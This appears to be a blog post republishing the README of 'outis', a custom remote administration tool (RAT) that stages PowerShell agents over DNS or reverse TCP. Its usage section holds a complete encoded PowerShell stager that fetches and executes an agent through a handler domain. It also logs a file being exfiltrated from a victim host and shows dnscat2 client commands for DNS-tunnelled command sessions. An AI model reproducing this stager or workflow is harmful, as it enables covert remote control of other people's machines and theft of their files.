outis: custom Remote Administration Tool (RAT)

by do son · September 10, 2017

outis

outis is a custom Remote Administration Tool (RAT) or something like that. Think Meterpreter or Empire-Agent. However, the focus of this tool is neither an exploit toolkit (there are no exploits) nor persistent management of targets. The focus is to communicate between server and target system and to transfer files, share sockets, spawn shells and so on using various methods and platforms.

On the Name

The cyclops Polyphemus in Homer’s Odyssey had some issues with name resolution. When he asked for Odysseus’ name, the hacker told him it is “Outis” meaning “Nobody” in ancient Greek. Thus, when Polyphemus later shouted, that Nobody was about to kill him, strangly no help arrived.

My thanks to Marcel for remembering this marvelous piece of classic tale.

Dependencies for the Handler

Archlinux users can install the following packages:

python3 # includes cmd, tempfile, …
python-progressbar2
python-dnspython
python-crypto
python-pyopenssl
and maybe more…

In other distributions the names may differ, for instance, there is a module named crypto and a module named pycrypto. We need the latter.

Also, older versions might cause problems:

pyopenssl needs to be version 16.1.0 or newer, check as follows:

   $ python3 -c 'import OpenSSL; print(OpenSSL.version.__version__)'

You can set up a python virtual environment quite easily:

$ virtualenv outis-venv
$ source ./outis-venv/bin/activate
(outis-venv) $ pip install progressbar2 dnspython pycrypto pyopenssl

This results to the following package list, which seems to work for me:

$ pip freeze
appdirs==1.4.3
asn1crypto==0.22.0
cffi==1.10.0
cryptography==1.8.1
dnspython==1.15.0
idna==2.5
packaging==16.8
progressbar2==3.18.1
pycparser==2.17
pycrypto==2.6.1
pyOpenSSL==16.2.0
pyparsing==2.2.0
python-utils==2.1.0
six==1.10.0

Installation

Clone this git with recursive flag to also clone its submodules in the thirdpartytools folder:

git clone --recursive ...

The handler runs on Python 3. Install its dependencies and run it. It will generate stagers, agents and everything else for you.

To bind low ports without needing root privileges, consider using a capability wrapper.

Terms

agent: software, that runs on the victim system
handler: software, that parses your commands and leads the agents (usually it runs on your server)
stager: short script that downloads the agent (using the transport module) and runs it
transport: communication channel between stager/agent and handler, e.g. ReverseTCP
platform: victim architecture to use for stager/agent scripts, e.g. PowerShell

Currently Supported Plattforms

PowerShell (partial)

Currently Supported Transports

Reverse TCP
DNS (types TXT or A for staging, and types TXT, CNAME, MX, AAAA or A for agent connection)

Currently Supported Cryptography

Agent stages can be encoded (for obfuscation, not for security) using cyclic XOR
Agent stages can be authenticated using RSA signatures and pinned certificates
Transport connections can be encrypted / authenticated using TLS and pinned certificates

Currently Supported Commands and Controls

ping requests to test the connection (partial)
text message format (partial)
upload and download of files

Currently Supported Extras

When using DNS transport with stager and powershell, you can stage the tool dnscat2 / dnscat2-powershell from the thirdpartytools directory instead of the default outis agent. Set the platform option AGENTTYPE to DNSCAT2 (will take a while, but uses only DNS to stage) or DNSCAT2DOWNLOADER (tries to download using HTTPS).

Usage Examples

Download of a file using staged DNS transport with POWERSHELL platform could look like this:

$ outis

outis> set TRANSPORT DNS

outis> set ZONE zfs.sy.gs

outis> set AGENTDEBUG TRUE

outis> info

[+] Options for the Handler:

Name               Value       Required  Description                                                      

-----------------  ----------  --------  -----------------------------------------------------------------

TRANSPORT          DNS         True      Communication way between agent and handler (Options: REVERSETCP,

                                          DNS)

CHANNELENCRYPTION  TLS         True      Encryption Protocol in the transport (Options: NONE, TLS)

PLATFORM           POWERSHELL  True      Platform of agent code (Options: POWERSHELL)

PROGRESSBAR        TRUE        True      Display a progressbar for uploading / downloading? (only if not 

                                         debugging the relevant module) (Options: TRUE, FALSE)



[+] Options for the TRANSPORT module DNS:

Name       Value        Required  Description                                                             

---------  -----------  --------  ------------------------------------------------------------------------

ZONE       zfs.sy.gs    True      DNS Zone for handling requests

LHOST      0.0.0.0      True      Interface IP to listen on

LPORT      53           True      UDP-Port to listen on for DNS server

DNSTYPE    TXT          True      DNS type to use for the connection (stager only, the agent will 

                                  enumerate all supported types on its own) (Options: TXT, A)

DNSSERVER               False     IP address of DNS server to connect for all queries



[+] Options for the PLATFORM module POWERSHELL:

Name                  Value                       Required  Description                                   

--------------------  --------------------------  --------  ----------------------------------------------

STAGED                TRUE                        True      Is the communication setup staged or not? 

                                                            (Options: TRUE, FALSE)

STAGEENCODING         TRUE                        True      Should we send the staged agent in an encoded 

                                                            form (obscurity, not for security!) (Options: 

                                                            TRUE, FALSE)

STAGEAUTHENTICATION   TRUE                        True      Should the stager verify the agent code 

                                                            before executing (RSA signature verification 

                                                            with certificate pinning) (Options: TRUE, 

                                                            FALSE)

STAGECERTIFICATEFILE  $TOOLPATH/data/outis.pem    False     File path of a PEM with both RSA key and 

                                                            certificate to sign and verify staged agent 

                                                            with (you can generate a selfsigned cert by 

                                                            using the script gencert.sh initially)

AGENTTYPE             DEFAULT                     True      Defines which agent should be used (the 

                                                            default outis agent for this plattform, or 

                                                            some third party software we support) 

                                                            (Options: DEFAULT, DNSCAT2, DNSCAT2DOWNLOADER)

TIMEOUT               9                           True      Number of seconds to wait for each request 

                                                            (currently only supported by DNS stagers)

RETRIES               2                           True      Retry each request for this number of times 

                                                            (currently only supported by DNS stagers)

AGENTDEBUG            TRUE                        True      Should the agent print and log debug messages 

                                                            (Options: TRUE, FALSE)

outis> generatestager

[+] Use the following stager code:

powershell.exe -Enc JAByAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAYQA9ACIAIgA7ACQAdAA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwA7

  ACQAaQArACsAKQB7ACQAYwA9ACgAWwBzAHQAcgBpAG4AZwBdACgASQBFAFgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AdAB5AHAAZQA9AFQAWA

  BUACAALQB0AGkAbQBlAG8AdQB0AD0AOQAgAHMAJAAoACQAaQApAHIAJAAoACQAcgApAC4AegBmAHMALgBzAHkALgBnAHMALgAgACIAKQApAC4A

  UwBwAGwAaQB0ACgAJwAiACcAKQBbADEAXQA7AGkAZgAoACEAJABjACkAewBpAGYAKAAkAHQAKwArAC0AbAB0ADIAKQB7ACQAaQAtAC0AOwBjAG

  8AbgB0AGkAbgB1AGUAOwB9AGIAcgBlAGEAawA7AH0AJAB0AD0AMAA7ACQAYQArAD0AJABjADsAfQAkAGEAPQBbAEMAbwBuAHYAZQByAHQAXQA6

  ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQApADsAJABiAD0AJABhAC4ATABlAG4AZwB0AGgAOwAkAGYAcAA9ACIAWA

  B4AEkAMgArAGUAQgBoAGUAUgBMAFMATQBuAHIAVQBNAFgAbgBnAHIARABTAGQATwAyAGQAOAAwAGMAZAB2AHcAcwBKAGMAYwBGAEIAbgAvAGYA

  LwB3AEoATwBpAEIAVAA4AGIATwA2AHAAZgBXAFgAdwBwAEUATwBQAFAAUgBsAFAAdgBnAE8AbgBlAGcAYwBpAE8AYgBPAGEAZABOAFAAVQBxAH

  AAZgBRAD0APQAiADsAJABpAD0AMAA7ACQAYQA9ACQAYQB8ACUAewAkAF8ALQBiAFgAbwByACQAZgBwAFsAJABpACsAKwAlACQAZgBwAC4ATABl

  AG4AZwB0AGgAXQB9ADsAJABwAGsAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAwACwANwA1ADUAKQA7ACQAcw

  BpAGcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAA3ADUANQAsADYAOAA0ACkAOwAkAHMAPQBOAGUAdwAtAE8A

  YgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAxADQAMwA5ACwAKAAkAGIALQAxADQAMwA5ACkAKQA7ACQAcwBoAGEAPQBOAGUAdwAtAE

  8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQA1ADEAMgBNAGEAbgBhAGcAZQBk

  ADsAaQBmACgAQAAoAEMAbwBtAHAAYQByAGUALQBPAGIAagBlAGMAdAAgACQAcwBoAGEALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAHAAaw

  AuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAKQAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIA

  aQBuAGcAKAAkAGYAcAApACkAIAAtAFMAeQBuAGMAVwBpAG4AZABvAHcAIAAwACkALgBMAGUAbgBnAHQAaAAgAC0AbgBlACAAMAApAHsAIgBFAF

  IAUgBPAFIAMQAiADsARQB4AGkAdAAoADEAKQB9ADsAJAB4AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5

  AHAAdABvAGcAcgBhAHAAaAB5AC4AUgBTAEEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAOwAkAHgALgBGAHIAbw

  BtAFgAbQBsAFMAdAByAGkAbgBnACgAJABwAGsAKQA7AGkAZgAoAC0ATgBvAHQAIAAkAHgALgBWAGUAcgBpAGYAeQBEAGEAdABhACgAJABzAC4A

  VABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAsACIAUwBIAEEANQAxADIAIgAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG

  UANgA0AFMAdAByAGkAbgBnACgAJABzAGkAZwApACkAKQB7ACIARQBSAFIATwBSADIAIgA7AEUAeABpAHQAKAAyACkAfQA7ACIARwBPAEEARwBF

  AE4AVAAiADsASQBFAFgAIAAkAHMAOwA=

outis> run

[+] DNS listening on 0.0.0.0:53

[+] Sending staged agent (34332 bytes)...

100% (184 of 184) |########################################################| Elapsed Time: 0:00:16 Time: 0:00:16

[+] Staging done

[+] Waiting for connection and TLS handshake...

[+] Initial connection with new agent started

[+] Upgrade to TLS done

outis session> [+] AGENT: Hello from Agent



outis session> download C:\testfile.txt /tmp/out.txt

[+] initiating download of remote file C:\testfile.txt to local file /tmp/out.txt

[+] agent reports a size of 3295 bytes for channel 1

100% (3295 of 3295) |######################################################| Elapsed Time: 0:00:00 Time: 0:00:00

[+] wrote 3295 bytes to file /tmp/out.txt

outis session> exit

Do you really want to exit the session and close the connection [y/N]? y

outis> exit

Or maybe we want to use dnscat2 for the real deal and just use outis to stage it:

$ outis

outis> set TRANSPORT DNS

outis> set AGENTTYPE DNSCAT2

outis> set ZONE zfs.sy.gs

outis> run

[+] DNS listening on 0.0.0.0:53

[+] Sending staged agent (406569 bytes)...

100% (2185 of 2185) |#######################################################| Elapsed Time: 0:01:17 Time: 0:01:17

[+] Staging done

[+] Starting dnscat2 to handle the real connection



New window created: 0

New window created: crypto-debug

Welcome to dnscat2! Some documentation may be out of date.



auto_attach => false

history_size (for new windows) => 1000

Security policy changed: All connections must be encrypted and authenticated

New window created: dns1

Starting Dnscat2 DNS server on 0.0.0.0:53

[domains = zfs.sy.gs]...



Assuming you have an authoritative DNS server, you can run

the client anywhere with the following (--secret is optional):



  ./dnscat --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg== zfs.sy.gs



To talk directly to the server without a domain name, run:



  ./dnscat --dns server=x.x.x.x,port=53 --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg==



Of course, you have to figure out <server> yourself! Clients

will connect directly on UDP port 53.



dnscat2> New window created: 1

Session 1 Security: ENCRYPTED AND VERIFIED!

(the security depends on the strength of your pre-shared secret!)



dnscat2> sessions

0 :: main [active]

  crypto-debug :: Debug window for crypto stuff [*]

  dns1 :: DNS Driver running on 0.0.0.0:53 domains = zfs.sy.gs [*]

  1 :: command (feynman-win7) [encrypted and verified] [*]

  

dnscat2> session -i 1

New window created: 1

history_size (session) => 1000

Session 1 Security: ENCRYPTED AND VERIFIED!

(the security depends on the strength of your pre-shared secret!)

This is a command session!



That means you can enter a dnscat2 command such as

'ping'! For a full list of clients, try 'help'.



command (feynman-win7) 1> download c:/testfile.txt /tmp/out.txt

Attempting to download c:/testfile.txt to /tmp/out.txt

Wrote 3295 bytes from c:/testfile.txt to /tmp/out.txt!



command (feynman-win7) 1> exit

Input thread is over

outis: custom Remote Administration Tool (RAT)

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Content & Links

outis: custom Remote Administration Tool (RAT)

outis

On the Name

Dependencies for the Handler

Installation

Terms

Currently Supported Plattforms

Currently Supported Transports

Currently Supported Cryptography

Currently Supported Commands and Controls

Currently Supported Extras

Usage Examples

Source: https://github.com/SySS-Research/outis

Search

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Content & Links